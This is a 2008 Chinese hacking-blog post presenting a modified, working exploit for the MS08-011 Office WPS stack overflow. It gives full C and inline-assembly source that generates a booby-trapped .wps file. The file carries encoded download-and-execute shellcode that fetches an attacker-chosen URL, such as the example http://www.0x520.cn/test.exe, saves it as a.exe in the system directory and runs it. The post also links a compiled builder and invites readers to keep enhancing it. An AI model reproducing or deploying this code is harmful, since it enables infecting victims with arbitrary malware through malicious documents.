夜火博客

Microsoft Office .WPS Exploit (MS08-011)mika修改加强版

文章作者:mika 信息来源:邪恶八进制信息安全团队(www.eviloctal.com)

前两天就看到这个exp了,漏洞本身俺就不多说了,非常简单的栈溢出,exp都给了用od或者windbg跟一下就出来了,这里俺要非常感谢gyzy 哥哥对俺的帮助,当俺一拿到exp的时候就非常庆幸,感觉会很容易修改(事实也是如此),于是俺就修改了ret地址,然后把俺原来用的shellcode (下载执行的)替换exp里执行calc的,但是没有成功,word一闪而过,也没报错也没下载。然后再看了看原exp的shellcode,发现是 alpha2编码过的,于是俺想当然的以为俺的shellcode也得编码,可是编码发现还是不能运行而且出现错误了,俺单独把编码过的 shellcode拿出来执行却能成功,百思不得其解不得不求助俺bf,他让俺自己去找人请教,俺只好上qq求助gyzy哥哥了,哥哥就是哥哥啊,说 shellcode有问题于是给了俺一个lion牛牛写的那个经典的下载执行的shellcode,俺换上去一试果然就行了。痛苦啊!~~~在此向 gyzy还有lion哥哥们致敬!

关于这个漏洞的测试俺需要说明一下,漏洞是因为office在打开wps格式的文件进行转换时出现了漏洞,所以需要安装转换器。不过我在安装office 2003的时候默认是安装了转换器的。测试的时候先打开offie然后选择生成好的.wps文件即可(或者右键单击生成好的文件然后选择用winword打开)。 我添加了对简体中文和繁体中文系统的支持,在windows xp sp2+microsot office 2003 sp2上测试成功!

代码俺放在这里,非常简单:

#include <stdio.h> #include <winsock2.h> #include <windows.h>

#pragma comment(lib, “ws2_32”)

#define NOPS “x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90” // Use for find the ASM code #define PROC_BEGIN __asm _emit 0x90 __asm _emit 0x90  __asm _emit 0x90 __asm _emit 0x90  __asm _emit 0x90 __asm _emit 0x90  __asm _emit 0x90 __asm _emit 0x90 #define PROC_END PROC_BEGIN #define SEARCH_STR “x90x90x90x90x90x90x90x90x90” #define SEARCH_LEN 8 #define MAX_SC_LEN 2048 #define HASH_KEY 13

// Define Decode Parameter #define DECODE_LEN 21 #define SC_LEN_OFFSET 7 #define ENC_KEY_OFFSET 11 #define ENC_KEY 0x99

// Define Function Addr #define ADDR_LoadLibraryA [esi] #define ADDR_GetSystemDirectoryA [esi+4] #define ADDR_WinExec [esi+8] #define ADDR_ExitProcess [esi+12] #define ADDR_URLDownloadToFileA [esi+16] //#define ADDR_URL edi

// Need functions unsigned char functions[100][128] = { // [esi] stack layout  // kernel32 4 // 00 kernel32.dll  {“LoadLibraryA”}, // [esi]  {“GetTempPathA”}, // [esi+4]{“GetSystemDirectoryA”}  {“WinExec”}, // [esi+8]  {“ExitProcess”}, // [esi+12]  //(“ExitThread”},  //{“TerminateProcess”},  // urlmon 1 // 01 urlmon.dll  {“URLDownloadToFileA”}, // [esi+16]  {""}, };

/* WPS Header */ unsigned char uszWpsHeader[] = “xd0xcfx11xe0xa1xb1x1axe1x00x00x00x00x00x00x00x00” “x00x00x00x00x00x00x00x00x3ex00x03x00xfexffx09x00” “x06x00x00x00x00x00x00x00x00x00x00x00x01x00x00x00” “x01x00x00x00x00x00x00x00x00x10x00x00x02x00x00x00” “x01x00x00x00xfexffxffxffx00x00x00x00x00x00x00x00” “xffxffxffxffxffxffxffxffxffxffxffxffxffxffxffxff” “xffxffxffxffxffxffxffxffxffxffxffxffxffxffxffxff” “xffxffxffxffxffxffxffxffxffxffxffxffxffxffxffxff” “xffxffxffxffxffxffxffxffxffxffxffxffxffxffxffxff” “xffxffxffxffxffxffxffxffxffxffxffxffxffxffxffxff” “xffxffxffxffxffxffxffxffxffxffxffxffxffxffxffxff” “xffxffxffxffxffxffxffxffxffxffxffxffxffxffxffxff” “xffxffxffxffxffxffxffxffxffxffxffxffxffxffxffxff” “xffxffxffxffxffxffxffxffxffxffxffxffxffxffxffxff” “xffxffxffxffxffxffxffxffxffxffxffxffxffxffxffxff” “xffxffxffxffxffxffxffxffxffxffxffxffxffxffxffxff” “xffxffxffxffxffxffxffxffxffxffxffxffxffxffxffxff” “xffxffxffxffxffxffxffxffxffxffxffxffxffxffxffxff” “xffxffxffxffxffxffxffxffxffxffxffxffxffxffxffxff” “xffxffxffxffxffxffxffxffxffxffxffxffxffxffxffxff” “xffxffxffxffxffxffxffxffxffxffxffxffxffxffxffxff” “xffxffxffxffxffxffxffxffxffxffxffxffxffxffxffxff” “xffxffxffxffxffxffxffxffxffxffxffxffxffxffxffxff” “xffxffxffxffxffxffxffxffxffxffxffxffxffxffxffxff” “xffxffxffxffxffxffxffxffxffxffxffxffxffxffxffxff” “xffxffxffxffxffxffxffxffxffxffxffxffxffxffxffxff” “xffxffxffxffxffxffxffxffxffxffxffxffxffxffxffxff” “xffxffxffxffxffxffxffxffxffxffxffxffxffxffxffxff” “xffxffxffxffxffxffxffxffxffxffxffxffxffxffxffxff” “xffxffxffxffxffxffxffxffxffxffxffxffxffxffxffxff” “xffxffxffxffxffxffxffxffxffxffxffxffxffxffxffxff” “xffxffxffxffxffxffxffxffxffxffxffxffxffxffxffxff” “xfdxffxffxffxfexffxffxffxfexffxffxffx04x00x00x00” “x05x00x00x00x06x00x00x00x07x00x00x00x08x00x00x00” “xfexffxffxffxffxffxffxffxffxffxffxffxffxffxffxff” “xffxffxffxffxffxffxffxffxffxffxffxffxffxffxffxff” “xffxffxffxffxffxffxffxffxffxffxffxffxffxffxffxff” “xffxffxffxffxffxffxffxffxffxffxffxffxffxffxffxff” “xffxffxffxffxffxffxffxffxffxffxffxffxffxffxffxff” “xffxffxffxffxffxffxffxffxffxffxffxffxffxffxffxff” “xffxffxffxffxffxffxffxffxffxffxffxffxffxffxffxff” “xffxffxffxffxffxffxffxffxffxffxffxffxffxffxffxff” “xffxffxffxffxffxffxffxffxffxffxffxffxffxffxffxff” “xffxffxffxffxffxffxffxffxffxffxffxffxffxffxffxff” “xffxffxffxffxffxffxffxffxffxffxffxffxffxffxffxff” “xffxffxffxffxffxffxffxffxffxffxffxffxffxffxffxff” “xffxffxffxffxffxffxffxffxffxffxffxffxffxffxffxff” “xffxffxffxffxffxffxffxffxffxffxffxffxffxffxffxff” “xffxffxffxffxffxffxffxffxffxffxffxffxffxffxffxff” “xffxffxffxffxffxffxffxffxffxffxffxffxffxffxffxff” “xffxffxffxffxffxffxffxffxffxffxffxffxffxffxffxff” “xffxffxffxffxffxffxffxffxffxffxffxffxffxffxffxff” “xffxffxffxffxffxffxffxffxffxffxffxffxffxffxffxff” “xffxffxffxffxffxffxffxffxffxffxffxffxffxffxffxff” “xffxffxffxffxffxffxffxffxffxffxffxffxffxffxffxff” “xffxffxffxffxffxffxffxffxffxffxffxffxffxffxffxff” “xffxffxffxffxffxffxffxffxffxffxffxffxffxffxffxff” “xffxffxffxffxffxffxffxffxffxffxffxffxffxffxffxff” “xffxffxffxffxffxffxffxffxffxffxffxffxffxffxffxff” “xffxffxffxffxffxffxffxffxffxffxffxffxffxffxffxff” “xffxffxffxffxffxffxffxffxffxffxffxffxffxffxffxff” “xffxffxffxffxffxffxffxffxffxffxffxffxffxffxffxff” “xffxffxffxffxffxffxffxffxffxffxffxffxffxffxffxff” “xffxffxffxffxffxffxffxffxffxffxffxffxffxffxffxff” “x52x00x6fx00x6fx00x74x00x20x00x45x00x6ex00x74x00” “x72x00x79x00x00x00x00x00x00x00x00x00x00x00x00x00” “x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00” “x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00” “x16x00x05x00xffxffxffxffxffxffxffxffx01x00x00x00” “xb2x5axa4x0ex0ax9exd1x11xa4x07x00xc0x4fxb9x32xba” “x00x00x00x00x00x00x00x00x00x00x00x00xd0x10xb9x5f” “x53x8fxc7x01x03x00x00x00xc0x0ax00x00x00x00x00x00” “x43x00x4fx00x4ex00x54x00x45x00x4ex00x54x00x53x00” “x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00” “x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00” “x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00” “x12x00x02x01x02x00x00x00x03x00x00x00xffxffxffxff” “x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00” “x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00” “x00x00x00x00x00x00x00x00x00x0ax00x00x00x00x00x00” “x01x00x43x00x6fx00x6dx00x70x00x4fx00x62x00x6ax00” “x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00” “x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00” “x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00” “x12x00x02x00xffxffxffxffxffxffxffxffxffxffxffxff” “x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00” “x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00” “x00x00x00x00x28x00x00x00x56x00x00x00x00x00x00x00” “x53x00x50x00x45x00x4cx00x4cx00x49x00x4ex00x47x00” “x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00” “x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00” “x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00” “x12x00x02x00xffxffxffxffxffxffxffxffxffxffxffxff” “x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00” “x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00” “x00x00x00x00x2ax00x00x00x10x00x00x00x00x00x00x00” “x01x00x00x00x02x00x00x00x03x00x00x00x04x00x00x00” “x05x00x00x00x06x00x00x00x07x00x00x00x08x00x00x00” “x09x00x00x00x0ax00x00x00x0bx00x00x00x0cx00x00x00” “x0dx00x00x00x0ex00x00x00x0fx00x00x00x10x00x00x00” “x11x00x00x00x12x00x00x00x13x00x00x00x14x00x00x00” “x15x00x00x00x16x00x00x00x17x00x00x00x18x00x00x00” “x19x00x00x00x1ax00x00x00x1bx00x00x00x1cx00x00x00” “x1dx00x00x00x1ex00x00x00x1fx00x00x00x20x00x00x00” “x21x00x00x00x22x00x00x00x23x00x00x00x24x00x00x00” “x25x00x00x00x26x00x00x00x27x00x00x00xfexffxffxff” “x29x00x00x00xfexffxffxffxfexffxffxffxffxffxffxff” “xffxffxffxffxffxffxffxffxffxffxffxffxffxffxffxff” “xffxffxffxffxffxffxffxffxffxffxffxffxffxffxffxff” “xffxffxffxffxffxffxffxffxffxffxffxffxffxffxffxff” “xffxffxffxffxffxffxffxffxffxffxffxffxffxffxffxff” “xffxffxffxffxffxffxffxffxffxffxffxffxffxffxffxff” “xffxffxffxffxffxffxffxffxffxffxffxffxffxffxffxff” “xffxffxffxffxffxffxffxffxffxffxffxffxffxffxffxff” “xffxffxffxffxffxffxffxffxffxffxffxffxffxffxffxff” “xffxffxffxffxffxffxffxffxffxffxffxffxffxffxffxff” “xffxffxffxffxffxffxffxffxffxffxffxffxffxffxffxff” “xffxffxffxffxffxffxffxffxffxffxffxffxffxffxffxff” “xffxffxffxffxffxffxffxffxffxffxffxffxffxffxffxff” “xffxffxffxffxffxffxffxffxffxffxffxffxffxffxffxff” “xffxffxffxffxffxffxffxffxffxffxffxffxffxffxffxff” “xffxffxffxffxffxffxffxffxffxffxffxffxffxffxffxff” “xffxffxffxffxffxffxffxffxffxffxffxffxffxffxffxff” “xffxffxffxffxffxffxffxffxffxffxffxffxffxffxffxff” “xffxffxffxffxffxffxffxffxffxffxffxffxffxffxffxff” “xffxffxffxffxffxffxffxffxffxffxffxffxffxffxffxff” “xffxffxffxffxffxffxffxffxffxffxffxffxffxffxffxff” “xffxffxffxffxffxffxffxffxffxffxffxffxffxffxffxff” “x43x48x4ex4bx57x4bx53x20x04x00x08x00x0ex00x00x03” “x00x02x00x00x00x0ax00x00xf8x01x0ex00xffxffxffxff” “x18x00x54x45x58x54x00x00x2fx00x00x00x00x00x00x00” “x00x00x00x00x00x00x00x00x00x00x00x00x00x00”;

char szIntro[] = ”[+] Targets: ” ” (1) Windows XP SP2 ntdll.dll DE jmpesp ” ” (2) Windows XP SP2 ntdll.dll CN&TW jmpesp ” “Usage: wps.exe ” “.Ex

.exe 2 test.wps http://www.0x520.cn/test.exe ”;

struct {  const char szTarget;  unsigned char uszRet[5]; }targets[] = {  {“Windows XP SP2 DE ntdll.dll jmpesp”, “xEDx1Ex94x7C”},/ jmp esp */  {“Windows XP SP2 CN&TW ntdll.dll jmpesp”,“xEDx1Ex96x7C”}, }; // Shellcode string unsigned char sc[1024] = {0};

unsigned char url[256]={0};

// ASM shellcode main function void ShellCode();

// Get function hash static DWORD __stdcall GetHash ( char *c ) {  DWORD h = 0;

 while ( *c )  {  __asm ror h, HASH_KEY

 h += *c++;  }  return( h ); }

void Make_ShellCode() {  unsigned char *pSc_addr;  unsigned int Sc_len;  unsigned int Enc_key=ENC_KEY;  unsigned long dwHash[100];  unsigned int dwHashSize;

 int i,j,k,l;

 // Get functions hash  //printf(”[+] Get functions hash strings. ”);  for (i=0;;i++)  {  if (functions[i][0] == ‘x0’) break;  dwHash[i] = GetHash((char*)functions[i]);  //printf(” %.8X %s ”, dwHash[i], functions[i]);  }  dwHashSize = i*4;

 // Deal with shellcode  pSc_addr = (unsigned char *)ShellCode;

 for (k=0;k<MAX_SC_LEN;++k )  {  if(memcmp(pSc_addr+k,SEARCH_STR, SEARCH_LEN)==0)  {  break;  }  }  pSc_addr+=(k+SEARCH_LEN); // Start of the ShellCode

 for (k=0;k<MAX_SC_LEN;++k)  {  if(memcmp(pSc_addr+k,SEARCH_STR, SEARCH_LEN)==0) {  break;  }  }  Sc_len=k; // Length of the ShellCode

 memcpy(sc, pSc_addr, Sc_len); // Copy shellcode to sc[]

 // Add functions hash  memcpy(sc+Sc_len, (char *)dwHash, dwHashSize);  Sc_len += dwHashSize;

 // Add url  memcpy(sc+Sc_len, url, strlen(url)+1);  Sc_len += strlen(url)+1;

 // Print the size of shellcode.  //printf(”[+] %d + %d + %d = %d bytes shellcode ”, DECODE_LEN, Sc_len-DECODE_LEN-sizeof(url)+1, sizeof(url)-1, Sc_len);  // Print shellcode  //PrintSc(sc, Sc_len);

 // Deal with find the right XOR byte  for(i=0xff; i>0; i—)  {  l = 0;  for(j=DECODE_LEN; j<(int)Sc_len; j++)  {  if (  ((sc[j] ^ i) == 0x26) || //%  ((sc[j] ^ i) == 0x3d) || //=  ((sc[j] ^ i) == 0x3f) || //?  ((sc[j] ^ i) == 0x40) || //@  ((sc[j] ^ i) == 0x00) ||  ((sc[j] ^ i) == 0x0D) ||  ((sc[j] ^ i) == 0x0A)  ) // Define Bad Characters  {  l++; // If found the right XOR byte,l equals 0  break;  };  }

 if (l==0)  {  Enc_key = i;

 //printf(”[+] Find XOR Byte: 0x%02X ”, i);  for(j=DECODE_LEN; j<(int)Sc_len; j++)  {  sc[j] ^= Enc_key;  }

 break; // If found the right XOR byte, Break  }  }

 // Deal with not found XOR byte  if (l!=0)  {  printf(”[-] No xor byte found! ”);  exit(-1);  }

 // Deal with DeCode string  *(unsigned char *)&sc[SC_LEN_OFFSET] = Sc_len;  *(unsigned char *)&sc[ENC_KEY_OFFSET] = Enc_key;

 // Print decode  //printf(”/* %d bytes decode */ ”, DECODE_LEN);  //PrintSc(sc, DECODE_LEN);

 // Print shellcode  //printf(”/* %d bytes shellcode, xor with 0x%02x / ”, Sc_len-DECODE_LEN, Enc_key);  //PrintSc((char)sc+DECODE_LEN, Sc_len-DECODE_LEN); }

int main( int argc, char **argv ) { WSADATA wsa;  FILE f; char szBuffer[102410]; WSAStartup(MAKEWORD(2,2),&wsa);

printf(” Microsoft Office .WPS Stack Overflow ”  ” Adam Walker (c) 2007 ” ” Modified by Mika[EST] ”); if ( argc < 4 ) {  printf(“%s ”, szIntro );  return 0;  } memcpy(url,argv[3],strlen(argv[3]));  printf(”[+] download url:%s ”, url);  printf(”[+] Generating Shellcode… ”);

 Make_ShellCode();  memset(szBuffer, 0x90, 1024*10);  printf(”[+] Creating WPS header… ”);  memcpy( szBuffer, uszWpsHeader, sizeof( uszWpsHeader ) - 1 );  printf(”[+] Copying addr && nops && shellcode… ”);  memcpy( szBuffer + sizeof( uszWpsHeader ) - 1, targets[atoi(argv[1])-1].uszRet, 4 );  memcpy(szBuffer + sizeof( uszWpsHeader ) + 3,NOPS,16);  memcpy( szBuffer + sizeof( uszWpsHeader ) + 3+16, sc, sizeof( sc ) - 1 );

 f = fopen( argv[2], “wb” );  if ( f == NULL ) {  printf(”[-] Cannot create file ”);  return 0;  }

 fwrite( szBuffer, 1, sizeof( szBuffer) , f );  fclose( f );  printf(”[+] .WPS file succesfully created! ”);  printf(”[+]Mika is telling you

’t play with fire!^_^ ”);  return 0; }

// ShellCode function void ShellCode() {  __asm  {  PROC_BEGIN // C macro to begin proc //-------------------------------------------------------------------- // // DeCode // //--------------------------------------------------------------------  jmp short decode_end

decode_start:  pop ebx // Decode start addr (esp -> ebx)  dec ebx  xor ecx,ecx  mov cl,0xFF // Decode len

 decode_loop:  xor byte ptr [ebx+ecx],0x99 // Decode key  loop decode_loop  jmp short decode_ok

decode_end:  call decode_start

decode_ok:

//-------------------------------------------------------------------- // // ShellCode // //--------------------------------------------------------------------  jmp sc_end

sc_start:  pop edi // Hash string start addr (esp -> edi)

 // Get kernel32.dll base addr  mov eax, fs:0x30 // PEB  mov eax, [eax+0x0c] // PROCESS_MODULE_INFO  mov esi, [eax+0x1c] // InInitOrder.flink  lodsd // eax = InInitOrder.blink  mov ebp, [eax+8] // ebp = kernel32.dll base address

 mov esi, edi // Hash string start addr -> esi

 // Get function addr of kernel32  push 4  pop ecx

 getkernel32:  call GetProcAddress_fun  loop getkernel32

 // Get function addr of urlmon  push 0x00006e6f  push 0x6d6c7275 // urlmon  push esp  call ADDR_LoadLibraryA // LoadLibraryA(“urlmon”);

 mov ebp, eax // ebp = urlmon.dll base address

/*  push 1  pop ecx

 geturlmon:  call GetProcAddress_fun  loop geturlmon */  call GetProcAddress_fun

 // url start addr = edi

//LGetSystemDirectoryA:  sub esp, 0x300  mov ebx, esp

 push ebx  push 0x300  call ADDR_GetSystemDirectoryA // GetSystemDirectoryA

//LURLDownloadToFileA:  // eax = system path size  // URLDownloadToFileA url save to a.exe  mov dword ptr [ebx+eax], 0x7261725C // “a.e”  mov dword ptr [ebx+eax+0x4], 0x6578652E // “xe”  xor eax, eax  push eax  push eax  push ebx // %systemdir%a.exe  push edi // url  push eax  call ADDR_URLDownloadToFileA // URLDownloadToFileA

//LWinExec:  mov ebx, esp  push eax  push ebx  call ADDR_WinExec // WinExec(%systemdir%a.exe);

Finished:  //push 1  call ADDR_ExitProcess // ExitProcess();

GetProcAddress_fun:  push ecx  push esi

 mov esi, [ebp+0x3C] // e_lfanew  mov esi, [esi+ebp+0x78] // ExportDirectory RVA  add esi, ebp // rva2va  push esi  mov esi, [esi+0x20] // AddressOfNames RVA  add esi, ebp // rva2va  xor ecx, ecx  dec ecx

 find_start:  inc ecx  lodsd  add eax, ebp  xor ebx, ebx

 hash_loop:  movsx edx, byte ptr [eax]  cmp dl, dh  jz short find_addr  ror ebx, HASH_KEY // hash key  add ebx, edx  inc eax  jmp short hash_loop

 find_addr:  cmp ebx, [edi] // compare to hash  jnz short find_start  pop esi // ExportDirectory  mov ebx, [esi+0x24] // AddressOfNameOrdinals RVA  add ebx, ebp // rva2va  mov cx, [ebx+ecx2] // FunctionOrdinal  mov ebx, [esi+0x1C] // AddressOfFunctions RVA  add ebx, ebp // rva2va  mov eax, [ebx+ecx4] // FunctionAddress RVA  add eax, ebp // rva2va  stosd // function address save to [edi]

 pop esi  pop ecx  ret

sc_end:  call sc_start

 PROC_END //C macro to end proc  } }

编译好的程序俺也放上来了,用法很简单:

引用F: oolsexploit>wps2

Microsoft Office .WPS Stack Overflow Adam Walker (c) 2007 Modified by Mika[EST]

[+] Targets: (1) Windows XP SP2 ntdll.dll DE jmpesp (2) Windows XP SP2 ntdll.dll CN&TW jmpesp Usage: wps.exe .Ex

.exe 2 test.wps http://www.0x520.cn/test.exe

wps.exe 目标系统语言类型 要生成的文件 要下载执行的url地址

OK~~简单吧,欢迎大家继续修改加强!再次对帮助过俺的人表示感谢!

[wps.rar](/blog/download.asp?id=48(18.54 KB)

本文标题:Microsoft Office .WPS Exploit (MS08-011)mika修改加强版
文章作者:夜火
发布时间:2008-02-18